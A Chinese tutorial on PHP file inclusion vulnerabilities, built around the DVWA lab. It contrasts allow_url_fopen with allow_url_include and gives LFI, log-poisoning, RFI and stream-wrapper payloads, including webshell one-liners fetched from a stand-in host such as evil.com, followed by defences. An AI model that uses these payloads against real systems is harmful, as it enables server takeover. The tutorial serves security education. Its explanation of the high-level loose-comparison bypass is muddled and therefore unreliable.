PHP文件包含漏洞深度解析:从allow_url_include配置到实战攻防

PHP文件包含漏洞深度解析:从allow_url_include配置到实战攻防
1. 项目概述一次关于文件包含漏洞的深度剖析最近在带新人做Web安全入门练习时发现很多朋友在DVWADamn Vulnerable Web Application靶场里一做到文件包含File Inclusion这一关就卡住了。最常见的困惑就是“为什么我的靶场明明设置了allow_url_fopen On却还是无法触发远程文件包含RFI那个allow_url_include到底是什么为什么DVWA的教程里都强调要开启它” 这个问题看似简单背后却串联起了PHP配置安全、漏洞原理、攻击利用和防御策略一整条知识链。今天我就以一个老渗透测试工程师的视角带大家彻底拆解这个经典问题。我们不仅要知道怎么配置更要搞懂为什么这么配置以及在实际的渗透测试和代码审计中如何利用或防御这类漏洞。无论你是刚接触安全的新手还是想巩固基础的老兵相信这篇从原理到实战的深度解析都能让你对文件包含漏洞有全新的认识。2. 文件包含漏洞的核心原理与分类要理解allow_url_include的作用我们必须先回到文件包含漏洞本身。简单来说文件包含漏洞是指Web应用程序在引入包含外部文件时未对用户输入的文件名或路径进行充分过滤导致攻击者可以操控包含的文件路径从而读取敏感文件、执行恶意代码或进行其他攻击。2.1 本地文件包含LFI与远程文件包含RFI根据包含文件的来源我们可以将漏洞分为两大类本地文件包含Local File Inclusion, LFI攻击者只能包含服务器本地文件系统上的文件。例如通过构造../../../etc/passwd这样的路径遍历Path Traversalpayload来读取系统敏感文件。远程文件包含Remote File Inclusion, RFI攻击者可以包含远程服务器通常是攻击者控制的服务器上的文件。例如包含一个形如http://evil.com/shell.txt的URL如果该URL指向一个包含PHP代码的文本文件服务器会下载并执行其中的代码。为什么RFI的危害通常远大于LFILFI的利用受限于目标服务器上已存在的文件攻击者需要“借力打力”比如利用日志文件、Session文件、上传文件等写入恶意代码后再包含。而RFI则相当于为攻击者打开了一扇“任意门”可以直接将外部恶意代码“注入”到目标服务器的执行上下文中实现一键GetShell攻击成本更低危害性更高。2.2 PHP中的文件包含函数在PHP中主要有四个函数与文件包含相关它们的特性略有不同函数描述特点include()包含并运行指定文件。如果包含失败如文件不存在会发出一个E_WARNING级别的警告但脚本会继续执行。require()包含并运行指定文件。如果包含失败会发出一个E_COMPILE_ERROR级别的致命错误脚本会停止执行。include_once()与include()类似但会检查该文件是否已被包含过如果是则不会再次包含。避免函数重定义、变量重新赋值等问题。require_once()与require()类似但会检查该文件是否已被包含过如果是则不会再次包含。同上。漏洞的产生往往是因为开发者盲目信任了用户输入并将其直接拼接到了这些函数的参数中。例如?php $page $_GET[page]; // 用户可控输入 include($page . .php); // 未经过滤直接包含 ?攻击者可以通过控制page参数来操纵包含的文件路径。注意即使加上了.php后缀如果服务器配置不当攻击者依然可以利用空字节注入%00在PHP5.3.4时有效或利用PHP的某些特性如php://input流包装器来绕过后缀限制。这是早期非常经典的绕过手法。3. PHP配置指令allow_url_fopen 与 allow_url_include 的辨析这是本文的核心也是很多初学者混淆的地方。这两个配置指令都存在于PHP的配置文件php.ini中它们控制着PHP与“外部世界”URL形式的数据流交互的能力但分工明确。3.1 allow_url_fopen打开“数据读取”的大门作用允许PHP的文件系统函数如fopen(),file_get_contents(),include()等将URL如http://,ftp://作为文件名来打开从而读取远程资源的数据。默认值在大多数PHP版本中默认是On开启。影响范围它影响的是读取数据的能力。当它为On时你可以这样做$content file_get_contents(http://example.com/data.txt); echo $content; // 输出远程文件的内容这本身是一个有用的功能用于获取API数据、聚合RSS源等。关键点allow_url_fopen On仅仅意味着PHP可以打开一个URL并读取其内容。对于include()函数来说它此时可以“打开”一个远程文件并读取其内容但并不会将读取到的内容当作PHP代码来执行。它只是像读取一个文本文件一样获取了远程文件的字节流。3.2 allow_url_include打开“代码执行”的潘多拉魔盒作用允许include(),require()及其_once变体这些文件包含函数将URL作为文件名来包含并且将获取到的内容作为PHP代码来解析执行。默认值出于极高的安全风险考虑自PHP 5.2.0起这个选项默认是Off关闭。在更早的版本中它默认是开启的这也是过去RFI漏洞泛滥的原因之一。影响范围它影响的是执行代码的能力。只有当它为On时下面的代码才会构成真正的RFI漏洞// 假设 allow_url_fopen On, allow_url_include On $page $_GET[page]; // 用户输入: http://evil.com/shell.txt include($page); // 服务器会请求 http://evil.com/shell.txt下载内容并将其中的PHP代码执行。两者的关系与区别 你可以把allow_url_fopen看作是允许PHP程序“从网上买书获取数据”而allow_url_include是允许PHP程序“把网上买来的书直接当成食谱照着做执行代码”。即使允许买书allow_url_fopenOn如果系统不允许你照着网上食谱做菜allow_url_includeOff那么你买来的食谱也只是一叠印了字的纸不会对你的厨房服务器造成直接影响。在DVWA靶场中的意义 DVWA的文件包含漏洞模块为了完整演示从LFI到RFI的完整攻击链特别是RFI的利用必须要求allow_url_include设置为On。否则当你尝试包含一个http://链接时PHP会抛出一个警告“URL file-access is disabled in the server configuration”远程包含无法成功你也就无法直观地看到RFI漏洞的危害。因此所有DVWA的搭建教程都会强调修改php.ini开启这个选项这是为了教学和演示目的。但在真实的生产环境中开启这个选项是极其危险的。3.3 配置检查与修改方法如何检查你的PHP环境配置创建一个PHP文件如info.php内容为?php phpinfo(); ?。在浏览器中访问这个文件。在页面中搜索allow_url_fopen和allow_url_include查看它们的本地值Local Value。如何在集成环境如PHPStudy、XAMPP中修改 以PHPStudy为例打开PHPStudy切换到你要使用的PHP版本。点击“配置” - “php.ini”。在打开的配置文件中搜索allow_url_include。将其值从Off改为On。务必同时搜索allow_url_fopen确认其也为On通常默认就是。保存文件并重启Web服务Apache/Nginx。实操心得在修改php.ini后一定要重启Web服务器如Apache、Nginx或PHP-FPM服务配置才会生效。仅仅重启PHPStudy的界面是不够的需要在软件内执行重启操作。另外有些环境可能有多个php.ini文件如php.ini-development和php.ini-production要确保修改的是当前PHP版本实际加载的那一个通过phpinfo()页面查看“Loaded Configuration File”路径最准确。4. DVWA文件包含漏洞实战演练理论说得再多不如亲手试一遍。我们以DVWA安全级别设为low为例进行实战演练。假设DVWA的访问地址是http://127.0.0.1/dvwa/。4.1 漏洞代码分析首先我们看看DVWA在low安全级别下的源码通常位于/dvwa/vulnerabilities/fi/source/low.php?php // The page we wish to display $file $_GET[page]; ?代码清晰得令人“感动”。它直接获取page参数未经过任何过滤就用于包含文件。这是最典型的漏洞代码形态。4.2 本地文件包含LFI利用目标读取服务器上的敏感系统文件。构造Payload利用路径遍历../跳出Web目录。http://127.0.0.1/dvwa/vulnerabilities/fi/?page../../../../../../etc/passwd结果分析如果成功页面会显示Linux系统的/etc/passwd文件内容。这证明了LFI漏洞的存在。在Windows系统上可以尝试包含page../../../../../../Windows/System32/drivers/etc/hosts等文件。LFI的进阶利用技巧——日志文件中毒 如果直接包含/etc/passwd只能读不能执行代码。我们可以利用LFI向服务器“写入”一个Webshell。一个经典的媒介是Web服务器的访问日志如Apache的/var/log/apache2/access.log。原理访问日志会记录客户端请求的User-Agent、Referer等信息。如果我们把PHP代码作为User-Agent发送它就会被记录到日志文件中。步骤使用Burp Suite或浏览器插件在访问DVWA页面时修改HTTP请求头中的User-Agent为?php system($_GET[‘cmd’]); ?。确认日志文件路径。可以通过LFI尝试包含常见的日志路径如../../../../../../var/log/apache2/access.log。如果日志文件可读你会看到你的恶意代码被记录在其中。此时再次利用LFI包含这个日志文件并在URL中传递cmd参数?page../../../../../../var/log/apache2/access.logcmdid。如果服务器配置允许日志文件在Web目录内或PHP有权限读取并且日志文件中的PHP代码被成功解析你将会看到id命令的执行结果。这就实现了从LFI到代码执行的升级。注意事项日志文件通常很大包含时可能导致超时或内存耗尽。可以尝试在Payload后加上cmd命令如果代码执行成功命令输出通常会直接显示在页面上。另外现代服务器可能会对日志文件权限做严格限制此方法不一定总能成功。4.3 远程文件包含RFI利用前提确保allow_url_fopen和allow_url_include均已开启。目标直接执行远程服务器上的PHP代码。准备恶意文件在攻击者控制的一台公网可访问的服务器上或利用本地网络另一台机器模拟创建一个文本文件内容为简单的PHP代码例如?php echo “RFI Success! “ . phpversion(); ?将该文件保存为shell.txt并确保可通过http://你的IP/shell.txt访问。构造Payload在DVWA的漏洞页面直接提交http://127.0.0.1/dvwa/vulnerabilities/fi/?pagehttp://你的IP/shell.txt结果分析如果配置正确DVWA页面将不会显示shell.txt的源代码而是会输出“RFI Success! ”加上PHP版本号。这证明远程文件的内容被下载并作为PHP代码执行了。RFI的经典利用——直接获取Webshell 我们可以将Payload升级为一句话木马。远程文件内容改为?php eval($_POST[‘ant’]); ?在DVWA中触发包含后该页面就相当于植入了一个密码为ant的Webshell。使用中国菜刀、蚁剑等Webshell管理工具连接http://127.0.0.1/dvwa/vulnerabilities/fi/?pagehttp://你的IP/shell.txt密码填ant即可获得服务器交互式Shell。实操心得在实际渗透测试中遇到RFI漏洞的机会比LFI要少得多因为allow_url_include默认关闭且很少有业务真正需要它。但一旦发现这就是一个极高危的漏洞。测试时可以先用http://your-server/test.txt内容为?php phpinfo();?进行验证。如果遇到目标服务器无法出网即不能访问外网的情况RFI就无法利用此时需要回归到LFI的利用思路。4.4 中、高安全级别的绕过思路DVWA的中等medium和高high级别为我们演示了简单的防御手段及其绕过方法。中级防御源码中使用了str_replace函数将http://、https://和../替换为空字符串。$file str_replace( array( “http://“, “https://“, “../“ ), “”, $file );绕过方法这种过滤非常初级可以采用双写绕过。例如提交pagehtthttp://p://evil.com/shell.txt经过str_replace把中间的http://删掉后就变成了http://evil.com/shell.txt。对于../可以使用….//过滤后变成../。高级防御源码要求page参数必须以file开头。if( $file ! “include.php” $file ! “file1.php” $file ! “file2.php” $file ! “file3.php” ) { // This isn’t the page we want! echo “ERROR: File not found!”; exit; }这看起来只允许包含file1.php等几个白名单文件似乎很安全。但是注意它使用的是松散比较而不是严格比较。在PHP中字符串与数字松散比较时字符串会被转换为数字。file1.php转换为数字是0。因此如果我们传入page11 ! “file1.php”为真但1 ! 0也为真所以能通过检查。然而在包含时include(‘1’);会尝试包含1.php这个文件通常不存在所以高级别下很难直接利用但它揭示了白名单验证不严谨的风险。更安全的做法是使用并直接限定$file只能是那几个明确的值。5. 文件包含漏洞的深度利用与扩展场景掌握了基础利用后我们来看看一些更高级、更贴近真实环境的利用场景。5.1 利用PHP内置协议PHP Wrappers即使allow_url_include关闭且无法进行RFIPHP内置的一些流包装器Stream Wrappers也能在LFI场景下大放异彩它们不需要allow_url_include开启。php://filter最常用用于读取文件源码特别是当包含的文件被直接输出执行时我们可以用filter来获取其源代码。Payload:?pagephp://filter/convert.base64-encode/resourceindex.php作用以Base64编码的形式读取index.php的源代码避免其被直接执行。拿到Base64字符串后解码即可得到源码。这在代码审计、寻找其他漏洞点时非常有用。其他过滤器read、string.rot13等可以用于简单的编码转换。php://input需要allow_url_include开启误区这是一个经典误区。php://input流包装器本身的启用与否取决于allow_url_fopen和allow_url_include吗实际上php://input是读取POST请求原始数据的流。它的可用性主要取决于服务器配置如enable_post_data_reading通常默认可用。关键在于当你用include()去包含php://input时你期望的是执行POST过去的数据中的PHP代码。这时就需要allow_url_include为On因为php://input在这里被当作一个“URL”形式的输入流来包含并执行。如果只是用file_get_contents(‘php://input’)来读取POST数据则只需要allow_url_fopenOn。利用方式pagephp://input在POST Body中发送?php system(‘whoami’); ?如果配置允许代码将被执行。data://需要allow_url_include开启这个协议允许在URI中直接嵌入数据。它可以被视为一种“内联”的RFI。Payload:?pagedata://text/plain,?php phpinfo();?或者Base64编码版避免特殊字符问题?pagedata://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8这同样需要allow_url_includeOn才能执行其中的代码。5.2 结合文件上传漏洞这是非常经典的组合拳。如果网站同时存在文件上传漏洞允许上传图片等文件和文件包含漏洞那么攻击流程将变得非常简单上传一个包含Webshell代码的图片文件如shell.jpg内容为?php eval($_POST[‘cmd’]);?。通过文件包含漏洞去包含这个上传后的文件路径例如?page./upload/shell.jpg。即使上传目录不直接解析.jpg为PHP但通过include()函数包含时文件内容中的PHP代码依然会被服务器解析执行。这就完美绕过了上传时的文件类型检查。5.3 其他敏感文件包含路径除了系统文件在LFI中还可以尝试包含以下路径以获取敏感信息或寻找利用点Web应用配置文件../../config.php,../../.env,../../application.ini等。日志文件如前所述的Apache/Nginx访问日志、错误日志。Session文件PHP的Session文件通常存储在/tmp或特定目录文件名格式为sess_[sessionid]。如果Session中存储了用户输入可能被注入代码。Proc文件系统Linux/proc/self/environ存储了当前进程的环境变量其中HTTP_USER_AGENT等字段用户可控可用来注入。/proc/self/fd/[数字]可能指向已打开的文件如日志。邮件文件/var/mail/root,/var/spool/mail/www-data等。6. 防御策略从开发与运维双视角理解了攻击才能更好地防御。防御文件包含漏洞需要开发者和运维人员共同努力。6.1 开发层面编写安全的代码白名单制度最有效严格限定可以被包含的文件名或路径。不要使用用户输入直接拼接而是使用一个映射数组。$allowed_pages array( ‘home’ ‘./templates/home.php’, ‘about’ ‘./templates/about.php’, ‘contact’ ‘./templates/contact.php’ ); $page $_GET[‘page’]; if (array_key_exists($page, $allowed_pages)) { include($allowed_pages[$page]); } else { include(‘./templates/error.php’); }路径固定如果需要动态包含也应将包含目录固定并对用户输入进行严格的路径净化。$base_dir ‘./includes/’; $file basename($_GET[‘file’]); // basename()去掉路径部分只留文件名 $path $base_dir . $file; // 可以进一步检查文件扩展名是否为.php if (file_exists($path) is_file($path)) { include($path); }注意basename()在某些语言环境下可能存在绕过问题且无法防止目录遍历。更好的做法是结合白名单。避免动态包含重新评估业务逻辑是否真的需要动态包含文件很多情况下使用路由、模板引擎或前端框架可以避免此问题。关闭危险特性在代码层面如果绝对不需要远程包含可以在运行时通过ini_set(‘allow_url_include’, ‘0’)来强制关闭。但这不是根本解决方案因为配置可能被其他方式修改。6.2 运维与配置层面配置PHP.ini重中之重将allow_url_include设置为Off。这是阻断RFI最直接、最有效的一步。99.9%的合法应用都不需要这个功能。评估allow_url_fopen。如果应用不需要从HTTP/FTP URL获取数据也建议关闭这能减少攻击面。如果需要请确保其使用场景是安全可控的。设置open_basedir将PHP可访问的文件限制在网站根目录及其子目录下可以有效防止LFI读取系统关键文件如/etc/passwd。例如open_basedir /var/www/html:/tmp允许访问html目录和临时目录。Web服务器配置为Web服务进程如www-data, apache用户设置最低必要的文件系统权限遵循最小权限原则。对上传目录进行严格配置确保其不可执行脚本。例如在Nginx中可以为上传目录添加配置location ~ ^/uploads/ { location ~ \.php$ { deny all; } }防止直接访问上传目录下的PHP文件。系统层面定期更新PHP版本和Web服务器软件修复已知漏洞。对服务器进行安全加固如限制不必要的端口和服务。6.3 安全产品与监控部署WAFWeb应用防火墙WAF可以识别并拦截常见的路径遍历../、远程包含http://等攻击特征。日志审计密切关注Web服务器错误日志和访问日志对异常的包含请求如大量../序列、包含日志文件或php://协议的请求进行告警。代码审计在开发流程中引入安全代码审计SAST自动或人工检查代码中是否存在不安全的文件包含函数调用。文件包含漏洞是一个“古老”但远未绝迹的漏洞类型。从原理上理解allow_url_fopen与allow_url_include的区别是掌握其利用与防御的关键。DVWA要求开启allow_url_include是为了让我们在一个安全的环境里完整地看到漏洞最危险的一面。但在真实世界里我们的目标恰恰相反通过安全的编码、严格的配置和深度的防御将这扇危险的大门牢牢锁死。希望这篇超过五千字的深度解析能帮你不仅通关DVWA的关卡更能建立起应对真实威胁的完整知识框架。安全之路知其然更要知其所以然。